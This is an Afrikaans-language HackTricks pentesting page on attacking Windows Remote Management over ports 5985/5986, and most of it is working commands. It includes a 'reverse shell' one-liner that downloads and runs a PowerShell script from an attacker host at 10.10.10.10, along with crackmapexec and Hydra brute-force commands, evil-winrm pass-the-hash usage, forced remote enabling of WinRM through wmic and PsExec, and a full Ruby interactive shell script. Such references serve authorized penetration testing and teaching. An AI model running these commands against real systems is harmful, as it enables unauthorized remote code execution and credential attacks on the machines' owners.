# 5985,5986 - Pentesting WinRM {{#include ../banners/hacktricks-training.md}} ## WinRM [Windows Remote Management (WinRM)]() word beklemtoon as 'n **protokol deur Microsoft** wat die **afstandbestuur van Windows-stelsels** deur HTTP(S) moontlik maak, met SOAP wat in die proses benut word. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies aanbied. Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik om eenvoudige afstandadministrasie deur PowerShell uit te voer, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** 'n Geopende poort uit die bogenoemde lys dui aan dat WinRM opgestel is, wat pogings om 'n afstandsessie te begin, toelaat. ### **Begin 'n WinRM-sessie** Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afstand PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te skakel en enige gasheer as vertroulik aan te dui: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` Hierdie benadering behels die toevoeging van 'n wildcard aan die `trustedhosts` konfigurasie, 'n stap wat versigtige oorweging vereis weens die implikasies daarvan. Dit word ook opgemerk dat dit nodig mag wees om die netwerk tipe van "Public" na "Work" te verander op die aanvaller se masjien. Boonop kan WinRM **afgeleë geaktiveer** word met die `wmic` opdrag, soos hieronder gedemonstreer: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` Hierdie metode stel die afstandsopstelling van WinRM in staat, wat die buigsaamheid in die bestuur van Windows-masjiene van ver verbeter. ### Toets of geconfigureer Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kontroleer of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer: - Vir 'n teiken wat **is** korrek geconfigureer, sal die uitvoer soos volg lyk: ```bash Test-WSMan ``` Die antwoord moet inligting bevat oor die protokolweergawe en wsmid, wat aandui dat WinRM korrek opgestel is. ![](<../images/image (582).png>) - Omgekeerd, vir 'n teiken wat **nie** vir WinRM geconfigureer is nie, sal dit geen sulke gedetailleerde inligting oplewer nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon. ![](<../images/image (458).png>) ### Voer 'n opdrag uit Om `ipconfig` op 'n teikenmasjien op afstand uit te voer en die uitvoer te sien, doen: ```powershell Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **in 'n afstandrekenaar uitvoer**, kan jy doen: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Voer 'n Skrip uit ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Kry omgekeerde dop ```powershell Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Kry 'n PS-sessie Om 'n interaktiewe PowerShell-sessie te kry, gebruik `Enter-PSSession`: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../images/image (1009).png>) **Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop** ### **WinRM Dwing om Oop te Wees** Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met: ```powershell .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Stoor en Herstel sessies Dit **sal nie werk nie** as die **taal** op die afstandrekenaar **beperk** is. ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` Binne hierdie sessies kan jy PS-skripte laai met behulp van _Invoke-Command_ ```powershell Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Foute As jy die volgende fout vind: `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` Die poging op die kliënt (inligting van [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` ## WinRM-verbinding in linux ### Brute Force Wees versigtig, brute-forcing winrm kan gebruikers blokkeer. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### Gebruik evil-winrm ```ruby gem install evil-winrm ``` Lees **dokumentasie** op sy github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` Om evil-winrm te gebruik om met 'n **IPv6 adres** te verbind, skep 'n inskrywing binne _**/etc/hosts**_ wat 'n **domeinnaam** aan die IPv6 adres toewys en verbind met daardie domein. ### Pas die hash met evil-winrm aan ```ruby evil-winrm -u -H -i ``` ![](<../images/image (680).png>) ### Gebruik van 'n PS-docker masjien ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### Gebruik van 'n ruby-skrip **Kode onttrek van hier:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/) ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt # https://alamot.github.io/winrm_shell/ conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan - `port:5985 Microsoft-HTTPAPI` ## Verwysings - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## HackTricks Outomatiese Opdragte ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` {{#include ../banners/hacktricks-training.md}}